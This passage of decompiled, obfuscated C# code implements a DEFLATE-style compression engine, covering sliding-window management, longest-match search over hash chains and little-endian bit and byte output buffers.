ushort.MaxValue; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) index; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this); } } private void \u0004() { int index1; int num1; int index2; int num2; try { Array.Copy((Array) this.\u0001, 32768, (Array) this.\u0001, 0, 32768); this.\u0003 -= 32768; this.\u0006 -= 32768; this.\u0005 -= 32768; for (index1 = 0; index1 < 32768; ++index1) { num1 = (int) this.\u0001[index1] & (int) ushort.MaxValue; this.\u0001[index1] = num1 >= 32768 ? (short) (num1 - 32768) : (short) 0; } for (index2 = 0; index2 < 32768; ++index2) { num2 = (int) this.\u0002[index2] & (int) ushort.MaxValue; this.\u0002[index2] = num2 >= 32768 ? (short) (num2 - 32768) : (short) 0; } } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) index1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) index2; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num2; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this); } } public void \u0005() { int length; try { if (this.\u0006 >= 65274) goto label_8; label_4: for (; this.\u0007 < 262 && this.\u000E < this.\u000F; this.\u0007 += length) { length = 65536 - this.\u0007 - this.\u0006; if (length > this.\u000F - this.\u000E) length = this.\u000F - this.\u000E; Array.Copy((Array) this.\u0002, this.\u000E, (Array) this.\u0001, this.\u0006 + this.\u0007, length); this.\u000E += length; this.\u0008 += length; } if (this.\u0007 < 3) return; this.\u0003(); return; label_8: this.\u0004(); goto label_4; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) length; throw UnhandledException.\u0003(ex, (object) local, (object) this); } } private bool \u0003([In] int obj0) { short[] numArray; int index1; int index2; int val1; int num1; int num2; byte num3; byte num4; int num5; int num6; int num7; try { num5 = 128; num6 = 128; numArray = this.\u0002; index1 = this.\u0006; index2 = this.\u0006 + this.\u0004; val1 = Math.Max(this.\u0004, 2); num1 = Math.Max(this.\u0006 - 32506, 0); num2 = this.\u0006 + 258 - 1; num3 = this.\u0001[index2 - 1]; num4 = this.\u0001[index2]; if (val1 >= 8) num5 >>= 2; if (num6 > this.\u0007) num6 = this.\u0007; do { if ((int) this.\u0001[obj0 + val1] == (int) num4 && (int) this.\u0001[obj0 + val1 - 1] == (int) num3 && (int) this.\u0001[obj0] == (int) this.\u0001[index1] && (int) this.\u0001[obj0 + 1] == (int) this.\u0001[index1 + 1]) { num7 = obj0 + 2; index1 += 2; do ; while ((int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && (int) this.\u0001[++index1] == (int) this.\u0001[++num7] && index1 < num2); if (index1 > index2) { this.\u0003 = obj0; index2 = index1; val1 = index1 - this.\u0006; if (val1 < num6) { num3 = this.\u0001[index2 - 1]; num4 = this.\u0001[index2]; } else break; } index1 = this.\u0006; } } while ((obj0 = (int) numArray[obj0 & (int) short.MaxValue] & (int) ushort.MaxValue) > num1 && --num5 != 0); this.\u0004 = Math.Min(val1, this.\u0007); return this.\u0004 >= 3; } catch (Exception ex) { object[] objArray = new object[13] { (object) num5, (object) num6, (object) numArray, (object) index1, (object) num7, (object) index2, (object) val1, (object) num1, (object) num2, (object) num3, (object) num4, (object) this, (object) obj0 }; throw UnhandledException.\u0003(ex, objArray); } } private bool \u0003([In] bool obj0, [In] bool obj1) { int num1; int num2; int num3; int num4; bool flag; try { if (this.\u0007 < 262 && !obj0) return false; while (this.\u0007 >= 262 || obj0) { if (this.\u0007 == 0) { if (this.\u0001) this.\u0001.\u0003((int) this.\u0001[this.\u0006 - 1] & (int) byte.MaxValue); this.\u0001 = false; this.\u0001.\u0004(this.\u0001, this.\u0005, this.\u0006 - this.\u0005, obj1); this.\u0005 = this.\u0006; return false; } if (this.\u0006 >= 65274) this.\u0004(); num1 = this.\u0003; num2 = this.\u0004; if (this.\u0007 >= 3) { num3 = this.\u0003(); if (num3 != 0 && this.\u0006 - num3 <= 32506 && this.\u0003(num3) && this.\u0004 <= 5 && this.\u0004 == 3 && this.\u0006 - this.\u0003 > \u0006.\u0008.\u0001) this.\u0004 = 2; } if (num2 >= 3 && this.\u0004 <= num2) { this.\u0001.\u0003(this.\u0006 - 1 - num1, num2); num2 -= 2; do { ++this.\u0006; --this.\u0007; if (this.\u0007 >= 3) this.\u0003(); } while (--num2 > 0); ++this.\u0006; --this.\u0007; this.\u0001 = false; this.\u0004 = 2; } else { if (this.\u0001) this.\u0001.\u0003((int) this.\u0001[this.\u0006 - 1] & (int) byte.MaxValue); this.\u0001 = true; ++this.\u0006; --this.\u0007; } if (this.\u0001.\u0003()) { num4 = this.\u0006 - this.\u0005; if (this.\u0001) --num4; flag = obj1 && this.\u0007 == 0 && !this.\u0001; this.\u0001.\u0004(this.\u0001, this.\u0005, num4, flag); this.\u0005 += num4; return !flag; } } return true; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) flag; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) obj0; // ISSUE: variable of a boxed type __Boxed local7 = (ValueType) obj1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) local6, (object) local7); } } public bool \u0004([In] bool obj0, [In] bool obj1) { bool flag1; bool flag2; try { do { this.\u0005(); flag1 = obj0 && this.\u000E == this.\u000F; flag2 = this.\u0003(flag1, obj1); } while (this.\u0001.\u0003() && flag2); return flag2; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) flag2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) flag1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj0; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4); } } public void \u0003([In] byte[] obj0) { try { this.\u0002 = obj0; this.\u000E = 0; this.\u000F = obj0.Length; } catch (Exception ex) { byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) this, (object) numArray); } } public bool \u0003() { try { return this.\u000F == this.\u000E; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } static \u0008() { try { \u0006.\u0008.\u0001 = 4096; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } } internal sealed class \u000E { protected byte[] \u0001 = new byte[65536]; private int \u0001; private int \u0002; private uint \u0001; private int \u0003; public void \u0003([In] int obj0) { int num1; int num2; try { byte[] numArray1 = this.\u0001; \u0006.\u000E obj = this; int num3; num1 = num3 = obj.\u0002; obj.\u0002 = num3 + 1; int index1 = num1; int num4 = (int) (byte) obj0; numArray1[index1] = (byte) num4; byte[] numArray2 = this.\u0001; num2 = this.\u0002++; int index2 = num2; int num5 = (int) (byte) (obj0 >> 8); numArray2[index2] = (byte) num5; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3); } } public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) { try { Array.Copy((Array) obj0, obj1, (Array) this.\u0001, this.\u0002, obj2); this.\u0002 += obj2; } catch (Exception ex) { byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) this, (object) numArray, (object) local1, (object) local2); } } [SpecialName] public int \u0003() { try { return this.\u0003; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public void \u0003() { int num1; int num2; try { if (this.\u0003 > 0) goto label_3; label_2: this.\u0001 = 0U; this.\u0003 = 0; return; label_3: byte[] numArray1 = this.\u0001; num1 = this.\u0002++; int index1 = num1; int num3 = (int) (byte) this.\u0001; numArray1[index1] = (byte) num3; if (this.\u0003 > 8) { byte[] numArray2 = this.\u0001; num2 = this.\u0002++; int index2 = num2; int num4 = (int) (byte) (this.\u0001 >> 8); numArray2[index2] = (byte) num4; goto label_2; } else goto label_2; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this); } } public void \u0003([In] int obj0, [In] int obj1) { int num1; int num2; try { this.\u0001 |= (uint) (obj0 << this.\u0003); this.\u0003 += obj1; if (this.\u0003 < 16) return; byte[] numArray1 = this.\u0001; num1 = this.\u0002++; int index1 = num1; int num3 = (int) (byte) this.\u0001; numArray1[index1] = (byte) num3; byte[] numArray2 = this.\u0001; num2 = this.\u0002++; int index2 = num2; int num4 = (int) (byte) (this.\u0001 >> 8); numArray2[index2] = (byte) num4; this.\u0001 >>= 16; this.\u0003 -= 16; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj0; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4); } } [SpecialName] public bool \u0003() { try { return this.\u0002 == 0; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1; try { if (this.\u0003 >= 8) goto label_5; label_1: if (obj2 > this.\u0002 - this.\u0001) { obj2 = this.\u0002 - this.\u0001; Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); this.\u0001 = 0; this.\u0002 = 0; } else { Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); this.\u0001 += obj2; } return obj2; label_5: byte[] numArray = this.\u0001; num1 = this.\u0002++; int index = num1; int num2 = (int) (byte) this.\u0001; numArray[index] = (byte) num2; this.\u0001 >>= 8; this.\u0003 -= 8; goto label_1; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3); } } public \u000E() { try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } } internal sealed class \u000F : MemoryStream { public void \u0003([In] int obj0) { try { this.WriteByte((byte) (obj0 & (int) byte.MaxValue)); this.WriteByte((byte) (obj0 >> 8 & (int) byte.MaxValue)); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) this, (object) local); } } public void \u0004([In] int obj0) { try { this.\u0003(obj0); this.\u0003(obj0 >> 16); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) this, (object) local); } } public int \u0003() { try { return this.ReadByte() | this.ReadByte() << 8; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public int \u0004() { try { return this.\u0003() | this.\u0003() << 16; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public \u000F() { try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public \u000F([In] byte[] obj0) : base(obj0, false) { try { } catch (Exception ex) { byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) this, (object) numArray); } } } } }